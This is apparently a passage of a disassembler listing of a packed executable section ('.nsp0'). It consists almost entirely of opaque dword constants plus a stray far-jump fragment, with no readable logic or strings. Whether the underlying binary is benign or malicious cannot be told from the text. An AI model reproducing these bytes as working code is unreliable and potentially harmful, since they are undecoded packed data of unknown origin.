dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h
dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h
dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch
dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h
dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h
dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h
dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
db 0, 28h, 0ECh
; ---------------------------------------------------------------------------
loc_4660FB: ; CODE XREF: .nsp0:00465A9Cj
pushf
jmp far ptr 4B7Fh:19662668h
; ---------------------------------------------------------------------------
align 4
dd 3332FF64h, 30DA2289h, 68288F00h, 3D800301h, 65700041h
dd 230A7E16h, 5D000713h, 6F8861EFh, 0F8729EB5h, 1214008Ch
dd 0CA0FF868h, 0A30718CCh, 3D832D88h, 841A0650h, 0EFB8002Fh
dd 5159D85h, 0C900330Eh, 0F482C080h, 173D2A40h, 0DAF01h
dd 2770B841h, 7300BE2Ch, 847C62C8h, 52805C6h, 0EA0014Ah
dd 8CF5005Ah, 6D68100Ah, 87299707h, 0C3800F51h, 3BAF3E9h
dd 0E5EB14FEh, 5DF82EA0h, 53001BC4h, 86C8E74Ch, 3CC840Fh
dd 21D2A4D5h, 0C7971A4Ah, 0E068815Eh, 1291F0A1h, 0E74C29B0h
dd 0B24D0360h, 0D825F477h, 423C3Ah, 0A63D51D5h, 0E4B52EB3h
dd 39FE601h, 61B88993h, 117FDE4h, 153E3238h, 0E0535E57h
dd 0E9007505h, 0DA77CA51h, 1F3B1A94h, 80290A52h, 5BDBC2E4h
dd 537CE080h, 0A17C051Ch, 83390980h, 0B1528h, 480213DFh
dd 0E4F98108h, 7F27AD0Eh, 176D0038h, 0B79C985h, 0C183031Ch
dd 240968Eh, 0CD97D2D5h, 0EBF48100h, 51174A24h, 18460FDAh
dd 0F560F02Ch, 0D6780CBFh, 0AE158203h, 752D709h, 938C9D66h
dd 4AB590EBh, 0C100ED80h, 0EE030772h, 70FCF0Ch, 8112C216h
dd 7518F0FAh, 10009EE8h, 31185B9h, 0A08E534Fh, 1CA40BEh
dd 97F0E983h, 0C401761Ch, 7C0010FAh, 703C70Fh, 8B3034h
dd 2085D14Ch, 28A0D80Ch, 0F37C0400h, 0C981428Ah, 808703C8h
dd 0B260889h, 5FF1490h, 87B81C3Fh, 4EA83D0h, 0FCE2ABF0h
dd 7FE40186h, 15011217h, 11EB6020h, 3CAC0B00h, 7C3A0C6Eh
dd 0CA96000Eh, 2C2B5F02h, 13010D84h, 4A522A0Bh, 0A7701C0Ah
dd 4DB8C2h, 4D08B1FEh, 0E1339048h, 9149200h, 31742506h
dd 47F2Ah, 0A154B0DAh, 0AE802B64h, 1133C800h, 0B2FEC2F7h
dd 20AC1EE2h, 1F643EBh, 8AB8FAC7h, 72E0A746h, 0C62B0800h
dd 58EB703Bh, 8806001Eh, 2B64FE8h, 0DE00030Bh, 64455509h
dd 1FD8963Dh, 7A00733h, 20670AA9h, 3E5A250Bh, 0B0F8BF00h
dd 2A824D8h, 13760075h, 0C655F378h, 4600FC32h, 8316A008h
dd 0FE7A23h, 0B02CC74Bh, 0B20994F8h, 13B34503h, 984D665Ch
dd 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h, 0C49CAEC9h
dd 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h, 0C37AC466h
dd 25F80F47h, 8D00EFA8h, 1157E746h, 822CF4h, 0B979EDD6h
dd 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h, 0C29A3A73h
dd 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh, 1B00060h
dd 489C5A59h, 30006BE9h, 7389DFA0h, 2C0239BAh, 0D3C603h
dd 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h, 0FAC2F4h
dd 4D2E4C9Bh, 0A5F49009h, 4410BC00h, 1D5C890Dh, 25B0013h
dd 3AEB1B87h, 431FE369h, 0C3001296h, 0E6BF5A92h, 407F002Ch
dd 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h, 1CCD1D33h
dd 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h, 836252FDh
dd 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h, 7448C51h
dd 591913CAh, 0A8870EAFh, 78962640h, 6B050969h, 8D41670Eh
dd 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h, 468240FFh
dd 521D7C3Bh, 0D8400712h, 5FE82606h, 297B0099h, 4470119h
dd 9D030320h, 7449F30Bh, 0C63FC824h, 0E8170781h, 5033ABCFh
dd 117A842Dh, 0DD0024F6h, 485932C7h, 5EDF6Dh, 3735F56Fh
dd 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h, 0F174D4CFh
dd 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h, 22075CAh
dd 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h, 1C2FBAAh
dd 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h, 94167FEFh
dd 0C46E005Ch, 0AA808254h, 87B75D2h, 0EAC55E03h, 98CDA984h
dd 0BF1620h, 0BD0B8291h, 0D4E19B80h, 775C5375h, 0B184007Fh
dd 881F1728h, 4C7E006Ch, 19920B7Bh, 7F1F31D7h, 0EBC38E43h
dd 90281F42h, 79F4BB74h, 16630026h, 67D10DE4h, 12000E5Fh
dd 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h, 1800EB3Bh
dd 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh, 0C400B3FEh
dd 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh, 4C515160h
dd 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h, 92D60317h
dd 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh, 15CAD33h, 4E0E6A00h
dd 645D4B7Eh, 559500D4h, 172DB68Dh, 0A5000296h, 9908ABE8h
dd 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh, 2DE07B62h, 26006920h
dd 17210231h, 24C3838Eh, 53EEDCh, 2AD2FB28h, 8B00BB05h
dd 22F581E0h, 0F0B0Ch, 0CD64938Fh, 34C98491h, 79F27D0Fh
dd 0C6142092h, 2A7C303h, 50014289h, 0F7E075D0h, 0D48212Ah
dd 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh, 863D039Fh, 768F4420h
dd 844DB412h, 2E804C1Ch, 611F0D5Eh, 6952005Dh, 0ABBC4AEFh
dd 0EB0390F2h, 0E8051D21h, 8E14A8CBh, 3BC43DD0h, 7FE18801h
dd 70294A2Ah, 431654E6h, 41E030Dh, 9298E4C0h, 57861Dh
dd 0D4B755D3h, 349A9732h, 411A0E00h, 0FF429271h, 73D7B20h
dd 824B568Bh, 0A85D4026h, 88002449h, 643CA351h, 7522CFAh
dd 851F8D28h, 0F0671016h, 6A58BDD8h, 0E90400EDh, 999812A0h
dd 2246009Eh, 97A884F5h, 1E0051F1h, 75F0C3F6h, 4843A40Fh
dd 69004144h, 98897970h, 4A1F6864h, 80C125C3h, 53A92B5h
dd 7CED0D8h, 45C50154h, 0AAE9708Bh, 4B00509Ch, 57675D08h
dd 0E012F7h, 3F32CC95h, 48C3140Ah, 3BC22B1Fh, 0C91456EEh
dd 990C0389h, 0D89AA5A6h, 0E8E244h, 3D3B24F8h, 2C754248h
dd 4C3F71E6h, 81808256h, 0C025D4BBh, 57EA2h, 709985E6h
dd 0DCABA5A4h, 108B8000h, 7402C2F6h, 611C3A4Eh, 7204FA80h
dd 400B88F4h, 8833700h, 3B29EA01h, 0ADC7078Bh, 0F0B60578h
dd 0C5065DB4h, 0EC081626h, 51132400h, 459F8Bh, 0D332988Eh
dd 25C688A2h, 3DA16900h, 0A521A636h, 5E740022h, 75B0295Dh
dd 0C60BD582h, 0E6ED30h, 10BE1249h, 70E8078Bh, 0D0D7F54Dh
dd 0F14CB8E1h, 324C500h, 3B01C8C7h, 8C0F02FEh, 0D71C4083h
dd 0BDB69DC0h, 0F8D33F00h, 0C1387516h, 52905E0h, 0C5675333h
dd 7DED0087h, 4C8D0F0Eh, 789814F0h, 29C81F00h, 0E9F7216Fh
dd 82F65Ah, 3F6D833h, 0AA285E02h, 16AD300h, 0A96BD49Eh
dd 1BD8E1FBh, 3DD008Bh, 415DDE69h, 0E70089FEh, 0F5753E4Ah
dd 343525h, 0C7A9823Ch, 84AEEADAh, 27674B00h, 7C23DC2Eh
dd 5453005Eh, 15DB68C2h, 0E00F758h, 28AA18F2h, 6034214h
dd 0A819C735h, 2C16B050h, 0C1071CD2h, 0B502025h, 4A89F0h
dd 0E9D70675h, 0CA91DD73h, 5295AA00h, 4D24B1DFh, 0C2960078h
dd 0E4F57F85h, 3B140697h, 859A81h, 14831F2Bh, 98E0DAh
dd 932CEBE5h, 3587299Eh, 0D1322400h, 0C3404A0Eh, 485D07C7h
dd 203A8FD3h, 93E25434h, 0C40029F6h, 2356F72Eh, 0C2421h
dd 0ABAFD81Ch, 2B7A04A0h, 74F805FAh, 77020900h, 641363E9h
dd 7EBFA4Ah, 5E5AA719h, 741460B8h, 0FC00F25Dh, 7815D9B9h
dd 1731C422h, 4E6F25h, 0AB10837Eh, 500C012h, 0EBFC5D89h
dd 76C364Dh, 330F7F19h, 4881D0F8h, 0C2009FEAh, 0F40662CEh
dd 7DF04Fh, 84973802h, 1AA811F8h, 9100CBF0h, 5C164BE8h
dd 0FC0747EBh, 7D890009h, 3821939Ch, 0B8747C25h, 8140BC00h
dd 1815FF0Ah, 0D7650460h, 80011489h, 54BF84FBh, 52DCB31Fh
dd 911C21C0h, 90022375h, 850800B5h, 943274C9h, 1800037Ch
dd 22C88950h
dd 672042h, 0DA197559h, 0F9D8E924h, 3A50577Eh, 3201528Fh
dd 0D0061065h, 45DCA6D7h, 983D00E7h, 0AF0E026h, 0AA00040Dh
dd 5A03AFB0h, 0D105FFh, 0ED808A48h, 0B79BE40h, 4677E800h
dd 7AF68B81h, 0E9100008h, 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h
dd 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h
dd 505890h, 2EA85152h, 0C584B883h, 5ABC3Eh, 0C031B244h
dd 154C966h, 428F1E50h, 0DD105180h, 8BD2F80Fh, 110388F8h
dd 6905489h, 1F91D0C8h, 0C65F00CBh, 3916D7D8h, 770009F7h
dd 602F7413h, 2A7829h, 0F8A5F33Fh, 3E1831Dh, 18A4D207h
dd 0E177431h, 7C3AFC30h, 1950000Fh, 1AFD5311h, 6600CB58h
dd 6941C706h, 728143FCh, 4C4000Ch, 5086092Fh, 0EB391290h
dd 8A0FFF01h, 0E0D14003h, 0F576203Ch, 3B800007h, 530B7522h
dd 0CE2017Bh, 0C50558h, 34E6EB02h, 4FE255Fh, 1B1CC7FAh
dd 88508043h, 62070414h, 84135640h, 0DDD21B1h, 2E58F0D8h
dd 0ACD2C3h, 8028D818h, 9C7F3D07h, 0CD7C8B00h, 20CE5F61h
dd 42B700F5h, 14D66A27h, 800EE25h, 0C2F81CCBh, 788977h
dd 681E34E0h, 2C0B055Dh, 92148D03h, 0C022B050h, 0C88B88h
dd 3AC677CAh, 0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh, 0B460216h
dd 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h
dd 40F2E80Eh, 73410C72h, 0B7E00F67h, 6BF04500h, 3663CC0h
dd 0D2F23EEEh, 40401E9Ch, 1F4558Bh, 0F60169D0h, 178A38E8h
dd 0E0DE1964h, 483C0533h, 0E500384Bh, 8378825Dh, 0DF0108ECh
dd 589B8EC0h, 6CC85A5Fh, 5B0C001Eh, 2DA31BD9h, 0FD0092A4h
dd 33285CDFh, 13FA2C16h, 1CA959h, 0AB81C735h, 0D90F078Ah
dd 67A2BBD6h, 0D0009816h, 381272h, 0E7F77C8h, 88AAD160h
dd 1470700h, 0DE7AD748h, 2AC80481h, 80F7760Fh, 0E80CEB87h
dd 0C949B500h, 0A668A64h, 62410068h, 0C131A990h, 0E01F94E9h
dd 55C02203h, 51082027h, 0F6CE0BF4h, 0B40013EEh, 80A61C26h
dd 0D9391A03h, 0F84E4575h, 23DB815h, 5A73E1B0h, 92801BCBh
dd 0C21CE5DBh, 454EDE00h, 0D606EBE2h, 3A1672E6h, 0F0FE5Eh
dd 8A367403h, 750A3A08h, 54306700h, 1489313h, 9F4A00D3h
dd 401625B6h, 83780208h, 311AB200h, 0B3B9D7D4h, 107A0138h
dd 0CF3FDA3h, 80FAB93Dh, 21D64EBh, 903119h, 0CD88BB51h
dd 10E08650h, 0CD46600h, 83184CB2h, 0ABF33B09h, 86311200h
dd 24405FAAh, 0F156900h, 8840541h, 89B202C7h, 0E2F70BA2h
dd 0B04C3AE0h, 1452480Eh, 0CF26403Eh, 99036Fh, 9229D031h
dd 0F2FB5AB9h, 190DB00h, 96F1F728h, 0F8300048h, 0C7431C17h
dd 8003BE03h, 0C6057DF6h, 0FA2DE804h, 1F170088h, 0F9018B47h
dd 0FFE68114h, 844F852Eh, 2307B90Eh, 7B97D929h, 0B0A3000Ah
dd 8AD20F20h, 12001C44h, 754B2B42h, 0AD41F6h, 51B82318h
dd 0E9968F82h, 2F9CB300h, 0CC2CAC33h, 94CE1D50h, 0C6634773h
dd 20190BFh, 1E018A0Ch, 70FB8046h, 0B5CCF8D7h, 2D0E03CEh
dd 2B0A69ECh, 248166D0h, 0FE78080Eh, 0FD58C061h, 0F30025Ch
dd 28ACCBE2h, 26844FE1h, 623CC4Ah, 4EB2000h, 0EE347F0Dh
dd 24C02630h, 392C0093h, 3F28E8F8h, 1C048D0Fh, 0D89BC001h
dd 1340555h, 0CDFEE675h, 0F8D4E486h, 5905127Ch, 3289F631h
dd 90461780h, 7703486Ah, 78F07E00h, 0DE29D9EEh, 0FE00EC71h
dd 0E451C56Eh, 48ACBFBCh, 32008E1Fh, 92DF7430h, 3007261h
dd 5420A2CAh, 0EA0B7643h, 1F110010h, 4CD07705h, 0BF010AC3h
dd 565A90C9h, 0D5C05D04h, 1A97DEBh, 0FAFFB150h, 0C0427D2Ah
dd 70074EDh, 0FE288840h, 7512C9h, 3C1E5AF2h, 6C430253h
dd 7301FA00h, 90517497h, 8B440035h, 0ECF85442h, 52005D36h
dd 195A8C68h, 0FE570926h, 0EB84Ah, 0FF1250A9h, 0D32BF03h
dd 1B48AC04h, 35C0C69Fh, 0BFC5C14h, 8C7C3D74h, 4C08F000h
dd 2F00B859h, 8304D250h, 2E01F835h, 0CD290Eh, 900B1B22h
dd 0AC0325FFh, 338B4C79h, 6350E0DBh, 50C741Ah, 1C753E07h
dd 701D802Ah, 91009225h, 0D41A1B0h, 3F29845h, 161F4C22h
dd 0A09801B3h, 0F4004028h, 57037B0h, 0B847604Fh, 8D736Fh
dd 6A6250FCh, 0F6386886h, 653A652Eh, 6BE84700h, 378323Fh
dd 5511E04Dh, 2DA06168h, 3000FF64h, 1B2089CCh, 0F445C7h
dd 0EE608691h, 0F808CB50h, 69C52C00h, 0AC8B8954h, 34E683h
dd 8AEAA267h, 63C41618h, 0E0985200h, 0A16628EFh, 25EC0071h
dd 97FFC02Ch, 8700F89Fh, 0C33FE283h, 0EFBC20Bh, 9C2A59A3h
dd 4F53003Ch, 41575446h, 450052E0h, 726F425Ch, 4C3C616Ch
dd 44003C6Eh, 6870C765h, 5200F169h, 46C04C54h, 550350h
dd 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h
dd 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh
dd 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h
dd 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h
dd 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h
dd 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh
dd 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h
dd 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh
dd 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h
dd 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh
dd 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h, 75493700h
dd 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h
dd 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh
dd 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh
dd 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h, 1126D480h
dd 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh
dd 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh
dd 0E802F061h, 53515200h, 818FF689h, 0F4500084h, 1058E012h
dd 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh
dd 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h
dd 22000E74h, 4950811Dh, 23581Eh, 47257531h, 8BF09821h
dd 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h
dd 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h
dd 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch
dd 6A546200h, 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h
dd 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h
dd 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h
dd 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h
dd 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah
dd 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h
dd 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h
dd 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh
dd 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h
dd 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh
dd 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h
dd 0EE2439h, 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh
dd 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h, 74F1513Dh
dd 48E0006Fh, 53020B04h
dd 0E202DB31h, 1B1A614Eh, 0A54161E6h, 0FA1EBB60h, 5468005Fh
dd 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h, 286D0014h
dd 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh, 5760F931h
dd 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h, 4108A890h
dd 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h, 26911F74h
dd 52B28044h, 75001801h, 0EAE90A1Ah, 9E62B9h, 2C444D42h
dd 2189084Eh, 67017F70h, 718D0559h, 0C5EC3D09h, 0B50600A6h
dd 0EF16439Eh, 3F005A4Bh, 84F87424h, 48041h, 0E64F3BD8h
dd 64176775h, 57B5D41Ch, 9CE269C0h, 189093Eh, 610BE842h
dd 0C48C74CEh, 695CDC7Fh, 0D075002Ch, 4B08C683h, 0F2C000B2h
dd 0A161A486h, 26031499h, 0FF41C4B8h, 0E992F88Dh, 946D0E1Ch
dd 2BEE5923h, 449E21A0h, 27482214h, 6CF11E42h, 0F238689h
dd 56986136h, 0A3E88844h, 1E5BEA30h, 8F92899Ah, 8D20CF86h
dd 93E8EC53h, 9879105h, 0C4E00463h, 87BE1h, 2480A48Ch
dd 42C78F54h, 31288500h, 8BDFA3ECh, 2208306Ah, 5684DBDEh
dd 2489D100h, 28603949h, 54050F5Ah, 53A05755h, 9507C888h
dd 444E4200h, 52E9F62Fh, 8654008Bh, 6AA0C730h, 83018897h
dd 0A427BEAh, 0D471B089h, 60EC7931h, 39FD0004h, 1EA80DF0h
dd 9200A4B5h, 0C9C543EAh, 3BCC031h, 1C0648DFh, 12D85910h
dd 28001189h, 49A78D6Fh, 473A6Ah, 0C664955Ah, 0C49674B6h
dd 5442E00h, 0D103E85Dh, 0E2FF00C7h, 4D588038h, 1500CD5Eh
dd 5034C056h, 0C2BE02h, 4AB80C52h, 3F1FFC5h, 3854491Ch
dd 86E97282h, 92836048h, 0C0070020h, 5C742C7Fh, 0F018E95h
dd 57221509h, 20C8052Dh, 0BF8700DDh, 483D1ECFh, 0EB3F4E80h
dd 84713060h, 83073Fh, 369429E8h, 52E130E7h, 43963D00h
dd 3814112Ah, 93762Dh, 13462E33h, 0EB24060Fh, 0FDEA3A1Dh
dd 502F18C0h, 77E968Ch, 0B02C1D26h, 1E2A40C8h, 781C3DC9h
dd 229DCD7Ch, 6567CF0Fh, 87C71A21h, 0CE471627h, 0D8871267h
dd 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h, 16272EFCh, 8D900536h
dd 808E1D8Bh, 6C01E3E8h, 400C25Dh, 0F3942467h, 402993h
dd 2690F1FAh, 7074503Dh, 0CE00A27Bh, 99CB9238h, 1D90836h
dd 72F65232h, 0EC3B8189h, 300053D0h, 1817438Fh, 12381D74h
dd 0BCFB82h, 0B1D889ABh, 0B600EF84h, 4BFA4419h, 74E1Fh
dd 46A3120Dh, 945C3749h, 0D9B8850Fh, 14510204h, 6DBB878Ah
dd 124F60F0h, 0AA090752h, 505B290Ah, 94ED2677h, 68F6E300h
dd 0A005F8F5h, 0D81A01B5h, 0BAC804Ah, 0C8B63047h, 38657502h
dd 0C02E536Ch, 7F9836Eh, 39A174FFh, 9DF5F001h, 0A4008922h
dd 68A2E984h, 0D49CBFh, 3E434B93h, 57E148C2h, 70E80C00h
dd 0E9A79504h, 505800BEh, 7E1DDB85h, 0F0004B12h, 4DE4433h
dd 9749D4h, 7F24D031h, 0C4BA3DEEh, 0B214EB00h, 73E809BDh
dd 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h, 0CFDFE8A4h
dd 30C3034Bh, 78A2DB33h, 341E5E90h, 3B121400h, 1A057EF3h
dd 0C1DF0004h, 49A81D3Eh, 28EEB127h, 4AEC7F00h, 1151E360h
dd 9CBE00BAh, 0C47D8D04h, 0A790E9B9h, 8FA5F301h, 2164BC05h
dd 1429B20h, 10B02D89h, 0EF84B41Dh, 1508A4F8h, 8D87AC00h
dd 0DF5C44Dh, 9377D17h, 0FC7D8397h, 35B5A100h, 6792008h
dd 0C92BE803h, 880C45FAh, 1CC0A240h, 4359481Dh, 0C4151BB8h
dd 0FF03E990h, 2F967100h, 2836156h, 417E1D05h, 3D2580EEh
dd 7594C81Ch, 0C6180D1Fh, 1132481h, 26F95AD9h, 4CBB20h
dd 0CB222C48h, 95D3E834h, 0A345C501h, 18247444h, 3C9F30h
dd 160646B2h, 6B202778h, 0F5B93805h, 2080EE93h, 14E1C3Ch
dd 124A892h, 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh, 0BBBF30C7h
dd 0E6803CB9h, 115ABE5Ch, 13001280h, 0F294834Bh, 383C22h
dd 334AE877h, 30BB354h, 0D0299200h, 595C44BBh, 1B98FFh
dd 0E68A0FE2h, 57C01750h, 63E8C102h, 80B4ED9Ah, 46EA32E3h
dd 23F011h, 77FF0C1Dh, 0F820061Ch, 3E933700h, 5D2656A4h
dd 73870015h, 19D8F70Fh, 0C9074045h, 32BBB684h, 3885609Eh
dd 1806BEh, 250B34BFh, 0CE587B80h, 83161C0Fh, 0BEE0203Fh
dd 5F8917h, 6F3787D0h, 0FBC2E803h, 75231200h, 381A08EFh
dd 47743E40h, 25581383h, 0EC88A34h, 0BA001685h, 0B88C4228h
dd 1FA27214h, 803E8FAFh, 0EB0B12ACh, 0CF01C62h, 75226000h
dd 6ECF7013h, 0B4150048h, 0E186926h, 0F212163Eh, 0D60029ADh
dd 0A750204h, 0F64C28BEh, 268907FEh, 0F0080C43h, 7622012Bh
dd 503EB2F8h, 0AA18005Fh, 6DFBE8C0h, 192E1F37h, 3B0079FDh
dd 587404CCh, 22007F06h, 0A64BEAEBh, 75482Dh, 285314C2h
dd 0C01292B7h, 980D1500h, 0A03B831Ah, 66F0041h, 8BCBC660h
dd 560003C1h, 0FB6C097Bh, 7A5E0438h, 508C00EBh, 6974726Fh
dd 73036EA0h, 3D437920h, 3FFAA070h, 7A680067h, 2963281Fh
dd 39003181h, 0D32C3338h, 1CCCBAFh, 3718B76Dh, 60918990h
dd 9707E9FBh, 238FF5ADh, 0B75C7C90h, 8B8400E3h, 1C2ED110h
dd 5138C2C7h, 0F84A072Dh, 0F0D07C49h, 0EFF6Ah, 8D5007CBh
dd 57E8D242h, 6B0068F8h, 60C47858h, 2C8BD618h, 275513h
dd 0EC80342h, 29E40865h, 4EEAB000h, 6CA3DAFCh, 24510030h
dd 1A7F4145h, 1700F5B4h, 93750542h, 0FAFE227h, 13481864h
dd 0F65A00DFh, 0B78C97EBh, 0A1876E00h, 4C4B147Ch, 21440095h
dd 2A7E150Ah, 203B3BF9h, 501C0054h, 95F8375h, 10180026h
dd 895A081Fh, 6FF4FC97h, 1768F803h, 0F86B04C6h, 38BA546h
dd 25C0E390h, 0F8E1C1D6h, 0FEF9E458h, 96BCC700h, 7A980914h
dd 95F00053h, 3277E45Ch, 0F0026CFh, 0EC96573Bh, 0F38597h
dd 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h, 8223C74Ah, 816700EBh
dd 8B7854FBh, 64002C7Dh, 9708E0BEh, 40CFC90h, 55532850h
dd 7B40C010h, 0A90086F1h, 0D7E27B8h, 0C70441h, 323ACEE9h
dd 0ECD93306h, 6098B57Bh, 0C5204401h, 16225498h, 293160h
dd 80CA4607h, 0C09CB8B4h, 89145200h, 95D1B9E2h, 175B032Ch
dd 41151268h, 3A522198h, 83D50A3Dh, 1945132Fh, 0FD02C0E2h
dd 0E03E60Bh, 695E3A62h, 0ECE8EB01h, 1CF1306Ah, 295AD100h
dd 2712E5E4h, 41240065h, 66522D30h, 620C9B3Bh, 70340A20h
dd 82C30E0Dh, 6AF280Eh, 0EB081941h, 496892E4h, 763A8A00h
dd 7621D725h, 3C901FC2h, 4252C38Ah, 57C0014Ah, 891D5150h
dd 0F20720D7h, 3B0AE5Ch, 158D1F7h, 5F9AC101h, 70A41992h
dd 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh, 8B770103h, 35C9FC7Bh
dd 0DC8E43Fh, 0E2840F00h, 8A2734FDh, 798B000Eh, 85B97EFCh
dd 391EFA01h, 77EC02CEh, 7A4A2C00h, 4E0E41h, 2413269Ah
dd 0F5A48F46h, 6217AA00h, 83AB42F7h, 0AF3D07D0h, 91618828h
dd 213BA044h, 517460AFh, 68BC0800h, 0F9233450h, 0E94F00C0h
dd 0ED42933h, 0D3003958h, 250CE16h, 3FC5Fh, 49756E46h
dd 0D809DFC7h, 0B34B8B00h, 0A2FAF277h, 53030063h, 0A5580F91h
dd 5C004320h, 0F84F33F7h, 48A48CFEh, 0CA000271h, 0E6A0BE9h
dd 5400AE51h, 0A650528Dh, 8BED40h, 104F944Ch, 41112FD7h
dd 714AFC00h, 305A56CFh, 8BC60007h, 6F149C44h, 0B800F5D3h
dd 5501D834h, 0D054CEh, 7E2AE975h, 0ACC8EF82h, 5AC44A00h
dd 248D5801h, 0E0FD0094h, 3E6CD92Ah, 3900F145h, 8FC709D0h
dd 3EA5CB29h, 8200687Fh
dd 0AE1C8B6Bh, 0C05857DCh, 277007Ch, 5213C201h, 0B4EA00C1h
